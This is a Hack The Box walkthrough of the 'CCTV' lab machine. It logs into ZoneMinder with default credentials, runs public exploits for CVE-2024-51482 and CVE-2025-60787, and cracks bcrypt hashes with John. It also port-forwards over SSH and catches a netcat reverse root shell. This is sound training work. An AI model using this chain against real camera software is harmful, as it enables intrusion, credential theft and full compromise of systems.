This is a simple walkthrough for the HTB CCTV Box. No hints are included, but some explanation and reasoning is provided. Where appropriate, terminal output has been cut to important parts.
To get started, we will use a small Nmap scan and allow the longer one to run in the background. Nmap scans for open ports and by default with sudo does a partial TCP handshake. The flags on the second scan try to identify the service version (-sV) on all ports (-p-) and save the results (-oA full_scan).
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.15.128
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
┌──(kali㉿kali)-[~]
└─$ sudo nmap 10.129.15.128 -sV -p- -oA full_scan
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.58
Service Info: Host: default; OS: Linux; CPE: cpe:/o:linux:linux_kernelThe full scan doesn’t show any more ports, but it looks like there is ssh and a website hosted on the machine. Visiting the ip in the browser (http://10.129.15.128) redirects to cctv.htb, so this needs to be added to the local DNS resolver. Scanning for directories and vhosts (the part at the beginning of bin.cctv.htb) is an important step at this point, but it doesn’t show anything, so we can skip it.
sudo tee -a /etc/hosts << "EOF"
10.129.15.128 cctv.htb
EOFAfter this, we can visit the website in a browser. If it still doesn’t work after updating /etc/hosts, it is a problem with your browser/NetworkManager, so try restarting these.
Heading to the staff login page, we don’t have any credentials, so we can search for defaults based on the service, ZoneMinder. According to their documentation or a quick web search, the default is admin:admin. Testing this out, the credentials work for our website.
We can take a look through the different settings, but we won’t see anything that immediately stands out. The version setting on the dashboard, however is useful. After a little searching, we find CVE-2024-51482 with a nice exploit script. Running it takes a while, but it gradually exfiltrates the database and passwords. The program may need to be run a few times in case the hashes get corrupted.
┌──(kali㉿kali)-[~/Downloads]
└─$ python3 poc.py -t http://cctv.htb -u admin -p admin
=============================================================================
| Username | Password |
=============================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/Cs[}hhrhlULwM0jrtbm |
| mark | $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
| superadmin | $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m |
=============================================================================
We can use John the Ripper to crack the hashes.
┌──(kali㉿kali)-[~/Downloads]
└─$ echo 'admin:$2y$10$cmytVWFRnt1XfqsItsJRVe/Cs[}hhrhlULwM0jrtbm' >> hash.txt
echo 'mark:$2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.' >> hash.txt
echo 'superadmin$2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m' >> hash.txt
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txtAfter this returns, we get the password mark:opensesame and try it on ssh. The user flag unfortunately isn’t in our user directory, and we can’t access the sa_mark, so we need to try to find a way to escalate privileges and see what is on the machine.
mark@cctv:~$ ls -la
total 36
drwxr-x--- 5 mark mark 4096 Mar 2 09:49 .
drwxr-xr-x 4 root root 4096 Mar 2 09:49 ..
lrwxrwxrwx 1 root root 9 Feb 13 10:01 .bash_history -> /dev/null
-rw-r--r-- 1 mark mark 220 Mar 31 2024 .bash_logout
-rw-r--r-- 1 mark mark 3771 Mar 31 2024 .bashrc
drwx------ 2 mark mark 4096 Mar 2 09:49 .cache
drwx------ 3 mark mark 4096 Mar 2 09:49 .gnupg
-rw-r--r-- 1 mark mark 807 Mar 31 2024 .profile
drwx------ 2 mark mark 4096 Mar 2 09:49 .ssh
-rw-rw-r-- 1 mark mark 165 Sep 14 2025 .wget-hsts
mark@cctv:~$ cd /home/sa_mark
-bash: cd: /home/sa_mark: Permission denied
mark@cctv:~$ ls /home
mark sa_mark
mark@cctv:~$ sudo -l
[sudo] password for mark:
sudo: a password is required
mark@cctv:~$ ss -plunt
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp UNCONN 0 0 127.0.0.54:53 0.0.0.0:*
udp UNCONN 0 0 127.0.0.53%lo:53 0.0.0.0:*
udp UNCONN 0 0 0.0.0.0:68 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8554 0.0.0.0:*
tcp LISTEN 0 70 127.0.0.1:33060 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:8888 0.0.0.0:*
tcp LISTEN 0 128 127.0.0.1:8765 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:9081 0.0.0.0:*
tcp LISTEN 0 151 127.0.0.1:3306 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.54:53 0.0.0.0:*
tcp LISTEN 0 4096 0.0.0.0:22 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:1935 0.0.0.0:*
tcp LISTEN 0 4096 127.0.0.1:7999 0.0.0.0:*
tcp LISTEN 0 4096 [::]:22 [::]:*
tcp LISTEN 0 511 *:80 *:*
mark@cctv:~$ curl 127.0.0.1:8554
mark@cctv:~$ curl 127.0.0.1:33060
curl: (1) Received HTTP/0.9 when not allowed
mark@cctv:~$ curl 127.0.0.1:8765
[Long HTML...]While enumerating services, we found an internal website running on port 8765. To see this in our local browser, we can port forward from our local machine and in our browser go to http://127.0.0.1:8080.
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh -L 8080:127.0.0.1:8765 mark@cctv.htb
Since none of our previous passwords work, we can search for configs on the host based on the service name of the website.
mark@cctv:/usr/bin$ find / -type f -iname "motioneye*" 2>/dev/null
/etc/motioneye/motioneye.conf
mark@cctv:/etc/motioneye$ cat motion.conf
# @admin_password 989c5a8ee87a0e9521ec81a79187d162109282f0With this password, we can login to the second website and see a slightly creepy camera, but more importantly, the version number.
With the version number, we can search for an exploit and find CVE-2025-60787, which allows for remote code execution and has a nice script. Starting a listener first and running the script drops us into a root shell, where we get the user and root flag.
┌──(kali㉿kali)-[~/Downloads]
└─$ python exploit.py -t http://127.0.0.1:8080 -p 989c5a8ee87a0e9521ec81a79187d162109282f0 -lh 10.10.14.233 -lp 4444┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.233] from (UNKNOWN) [10.129.15.128] 60378
bash: cannot set terminal process group (4959): Inappropriate ioctl for device
bash: no job control in this shell
root@cctv:/etc/motioneye# cat /root/root.txt
cat /root/root.txt
[Root Flag]
root@cctv:/etc/motioneye# cat /home/sa_mark/user.txt
cat /home/sa_mark/user.txt
[User Flag]Summary
As an easy box, most of the work for this machine was searching up exploits based on the version number. While there are many ways to search for these, a web search often helps, and finding a script is best. The hardest part of this would probably be finding the second website, but there might have been an intermediate step that we skipped because we got the user and root flag together.